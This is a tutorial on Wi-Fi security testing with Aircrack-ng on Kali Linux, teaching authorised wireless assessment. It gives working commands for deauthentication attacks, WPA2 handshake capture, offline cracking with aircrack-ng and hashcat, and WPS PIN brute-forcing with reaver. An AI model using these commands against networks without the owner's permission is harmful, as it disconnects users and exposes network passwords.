Aircrack-ng: Wi-Fi Security Testing on Kali Linux

Wireless networks remain a persistent weak point in many organisations’ security posture. WPA2 passwords are crackable offline if you can capture a four-way handshake, and the tooling to do it has been freely available for years. The Aircrack-ng suite is the standard toolkit for wireless security assessments on Kali Linux. This guide covers it comprehensively – with the absolute requirement that you only test networks you own or have written permission to assess.

The Aircrack-ng Suite

• airmon-ng – manages monitor mode on wireless interfaces
• airodump-ng – captures raw 802.11 frames (discovers networks, captures handshakes)
• aireplay-ng – packet injection (deauthentication attacks)
• aircrack-ng – the cracking engine (dictionary and brute force)

Hardware Requirements

Your laptop’s built-in Wi-Fi almost certainly doesn’t support monitor mode and packet injection. You need a USB adapter with a compatible chipset. Recommended in 2026: Alfa AWUS036ACS (RTL8811AU), Alfa AWUS036ACH (RTL8812AU), Panda PAU09 (RT5572).

# Verify adapter supports monitor mode
iw list | grep "Supported interface modes" -A 10

# Test injection support
aireplay-ng --test wlan0

Setting Up Monitor Mode

# List wireless interfaces
airmon-ng

# Kill processes that might interfere
airmon-ng check kill

# Enable monitor mode
airmon-ng start wlan0
# Creates wlan0mon

iwconfig wlan0mon    # Verify

# Stop when done
airmon-ng stop wlan0mon
systemctl start NetworkManager

Discovering Networks

# Scan all channels
airodump-ng wlan0mon

# Key columns: BSSID, PWR (signal), CH (channel), ENC, ESSID

# Focus on specific channel
airodump-ng --channel 6 wlan0mon

# 5GHz only
airodump-ng --band a wlan0mon

Capturing a WPA/WPA2 Handshake

# Target your own network - replace with your AP's BSSID
airodump-ng --channel 6 
            --bssid AA:BB:CC:DD:EE:FF 
            --write /tmp/handshake_capture 
            wlan0mon

# Watch top-right for: "WPA handshake: AA:BB:CC:DD:EE:FF"

Deauthentication Attack to Force Reconnection

Force connected clients to disconnect and reconnect, triggering a handshake capture:

# Deauth all clients on the target AP
aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon

# Targeted deauth against specific client
aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF -c CC:DD:EE:FF:AA:BB wlan0mon

Cracking the Handshake

# Crack with aircrack-ng
aircrack-ng -w /usr/share/wordlists/rockyou.txt /tmp/handshake_capture-01.cap

# Convert for Hashcat (GPU acceleration - much faster)
hcxpcapngtool -o hash.hc22000 /tmp/handshake_capture-01.cap
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt

WPS Attacks with Reaver

WPS has a design flaw allowing the 8-digit PIN to be brute-forced in hours. Many routers still have WPS enabled.

# Check if WPS is enabled
wash -i wlan0mon

# Attack WPS PIN
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv

# With delay to avoid lockouts
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -d 5 --lock-delay=60 -vv

Why WPA3 Changes Things

WPA3 uses Simultaneous Authentication of Equals (SAE) instead of the Pre-Shared Key handshake, eliminating offline dictionary attacks. PMF (Protected Management Frames) also makes deauthentication attacks ineffective. When assessing modern networks, focus on configuration issues and client vulnerabilities rather than protocol attacks.

Conclusion

Wireless assessments follow a clear methodology: get compatible hardware, enable monitor mode, capture a handshake, and crack offline. The limiting factor is almost always the wordlist – a 20-character random WPA2 password is computationally infeasible to crack. What you’re actually testing is whether the password appears in a wordlist, which is the real organisational risk.

Testing wireless networks without explicit written authorisation from the network owner is illegal. Only test your own equipment in a controlled lab environment.